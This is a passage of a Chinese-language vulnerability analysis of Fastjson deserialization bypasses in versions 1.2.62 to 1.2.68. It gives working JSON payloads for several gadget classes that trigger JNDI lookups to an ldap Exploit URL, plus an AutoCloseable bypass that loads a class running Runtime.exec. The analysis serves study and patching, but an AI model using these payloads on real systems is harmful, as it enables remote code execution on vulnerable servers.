public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

...

if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { // 当第二次解析@type时,com.sun.rowset.JdbcRowSetImpl以存储在mappings中,导致绕过黑名单
throw new JSONException("autoType is not support. " + typeName);
}
}
}
image-20210524172832135

Patch

java.lang.Class列入黑名单,把默认缓存从True改为False

1.2.62漏洞

使用新的Gadget绕过黑名单

需要 Fastjson版本 ≤ 1.2.62,并且需要开启setAutoTypeSupport

需要额外安装xbean-reflect(我的测试版本为3.4)

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://localhost:1389/Exploit\"}"
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

分析

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package org.apache.xbean.propertyeditor;
public abstract class AbstractConverter extends PropertyEditorSupport implements Converter

public final void setAsText(String text) {
Object value = this.toObject(text.trim()); // 调用toObject()函数
super.setValue(value);
}

public final Object toObject(String text) {
if (text == null) {
return null;
} else {
Object value = this.toObjectImpl(text.trim()); // 调用toObjectImpl()函数
return value;
}
}
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package org.apache.xbean.propertyeditor;
public class JndiConverter extends AbstractConverter {

protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context)context.lookup(text); // 调用lookup()函数实现JNDI注入
} catch (NamingException var3) {
throw new PropertyEditorException(var3);
}
}
}

这里提供了一个新的思路就是可以从父类中找set函数,但也算不上是新的思路,只不过是找到第三方库里面的lookup()函数再向上回溯罢了 : )

Patch

扩充黑名单

1.2.66漏洞

使用新的Gadget绕过黑名单

需要 Fastjson版本 ≤ 1.2.66,并且需要开启setAutoTypeSupport

下面用到的Gadget都需要导入第三方库,直接搜就好,部分触发时必须使用parseObject()函数

公开的Gadget一共有下面四个:

JndiObjectFactory

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:1389/Exploit\"}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

触发代码如下:

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package org.apache.shiro.jndi;
public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {

public void setResourceName(String resourceName) {
this.resourceName = resourceName; // 传入resourceName
}

public T getInstance() {
try {
return this.requiredType != null ? this.requiredType.cast(this.lookup(this.resourceName, this.requiredType)) : this.lookup(this.resourceName); // 触发JNDI注入
} catch (NamingException var3) {
String typeName = this.requiredType != null ? this.requiredType.getName() : "object";
throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + this.resourceName + "'.", var3);
}
}

AnterosDBCPConfig

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

触发代码如下:

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package br.com.anteros.dbcp;
public class AnterosDBCPConfig implements AnterosDBCPConfigMXBean {

public void setMetricRegistry(Object metricRegistry) {
if (this.metricsTrackerFactory != null) {
throw new IllegalStateException("cannot use setMetricRegistry() and setMetricsTrackerFactory() together");
} else {
if (metricRegistry != null) {
metricRegistry = this.getObjectOrPerformJndiLookup(metricRegistry); // 传入metricRegistry
if (!UtilityElf.safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry") && !UtilityElf.safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry")) {
throw new IllegalArgumentException("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry");
}
}

this.metricRegistry = metricRegistry;
}
}

private Object getObjectOrPerformJndiLookup(Object object) {
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String)object); // 触发JNDI注入
} catch (NamingException var3) {
throw new IllegalArgumentException(var3);
}
} else {
return object;
}
}

CacheJndiTmLookup

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://localhost:1389/Exploit\"}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

触发代码如下:

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package org.apache.ignite.cache.jta.jndi;
public class CacheJndiTmLookup implements CacheTmLookup {

public void setJndiNames(List<String> jndiNames) {
this.jndiNames = jndiNames; // 传入jndiNames
}

@Nullable
public TransactionManager getTm() throws IgniteException {
assert this.jndiNames != null;

assert !this.jndiNames.isEmpty();

try {
InitialContext ctx = new InitialContext();
Iterator var2 = this.jndiNames.iterator(); // 获取jndiNames

Object obj;
do {
if (!var2.hasNext()) {
return null;
}

String s = (String)var2.next(); // 获取jndiNames
obj = ctx.lookup(s); // 触发JNDI注入
} while(obj == null || !(obj instanceof TransactionManager));

return (TransactionManager)obj;
} catch (NamingException var5) {
throw new IgniteException("Unable to lookup TM by: " + this.jndiNames, var5);
}
}

JtaTransactionConfig

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

触发代码如下:

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package com.ibatis.sqlmap.engine.transaction.jta;
public class JtaTransactionConfig extends BaseTransactionConfig {

public void setProperties(Properties props) throws SQLException, TransactionException {
String utxName = null;

try {
utxName = (String)props.get("UserTransaction"); // 这里需要传入一个Properties对象,然后里面UserTransaction属性的值
InitialContext initCtx = new InitialContext();
this.userTransaction = (UserTransaction)initCtx.lookup(utxName); // 触发JNDI注入
} catch (NamingException var4) {
throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + var4);
}
}

Patch

扩充黑名单

1.2.68漏洞

1.2.68版本增加了新的安全参数safeMode,具体可参考这个链接,当safeMode开启后,autoType会被完全禁用,但是默认情况下时关闭的,开启safeMode代码:ParserConfig.getGlobalInstance().setSafeMode(true);

恶意类

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package com.fastjson;

import java.io.IOException;

public class Exp implements AutoCloseable {
public Exp () {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.fastjson.Exp\"}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

在不开启safeMode的情况下,我们可以使用java.lang.AutoCloseable引入任意恶意类,和1.2.47版本的洞很类似,这里利用到的是checkAutoType()函数中expectClass参数,如果加载的类实现了expectClass接口,或者是属于expectClass的子类,那么checkAutoType()函数就会检测通过

利用这个特点,我们可以利用一个TypeUtils.mappings自带的类java.lang.AutoCloseable,这个类在进行反序列化时,如果检验到后面的字符串也是一个类的话,就会把自己作为expectClass调用checkAutoType()函数,这时候如果我们将恶意类编写成实现了java.lang.AutoCloseable接口的类,就可以成功绕过checkAutoType()

分析

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public class JavaBeanDeserializer implements ObjectDeserializer {    
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features, int[] setFlags) {

...

if (!ref.equals(this.beanInfo.typeName) && !parser.isEnabled(Feature.IgnoreAutoType)) {
refObj = getSeeAlso(config, this.beanInfo, ref);
Class<?> userType = null;
if (refObj == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(ref, expectClass, lexer.getFeatures()); // ref实现了java.lang.AutoCloseable接口的恶意类,java.lang.AutoCloseable作为expectClass参数传入
refObj = parser.getConfig().getDeserializer(userType);
}
Object typedObject = ((ObjectDeserializer)refObj).deserialze(parser, userType, fieldName); // 绕过成功之后进行反序列化
...

漏洞总结

  • 在1.2.43版本之前的漏洞主要是通过在类名中加入混淆字符而绕过checkAutoType(),特别是1.2.43版本的漏洞利用让我知道了即使json字符串不规范也是可以解析成功的
  • 在1.2.45版本之后大部分都是通过第三方库寻找新的Gadget来绕过黑白名单,通过检查其实例创建函数或者set函数是否存在lookup()函数以及参数是否可控来挖掘
  • 1.2.47版本的漏洞利用十分的巧妙,通过分析黑名单校验的getClassFromMapping()字段,想到用缓存进行绕过
  • 1.2.68版本的漏洞利用也是同样巧妙,通过分析expectClass字段是否可控挖掘出了java.lang.AutoCloseable的Gadget,而且在Fastjson的可利用类中还存在着更多类似的利用,所以了解checkAutoType()方法中的可利用类十分必要,它们分别有:
    • 白名单(符合白名单条件的类)
    • TypeUtils.mappings (符合缓存映射中获取的类)
    • typeMapping (ParserConfig中本身带有的集合)
    • deserializers (符合反序列化器的类)

哈希黑名单

由某些大哥爆破出来的哈希黑名单列表:fastjson blacklist

参考

Fastjson 流程分析及 RCE 分析

Fastjson反序列化漏洞基础

Fastjson 反序列化漏洞史

某json <= 1.2.68 远程代码执行漏洞分析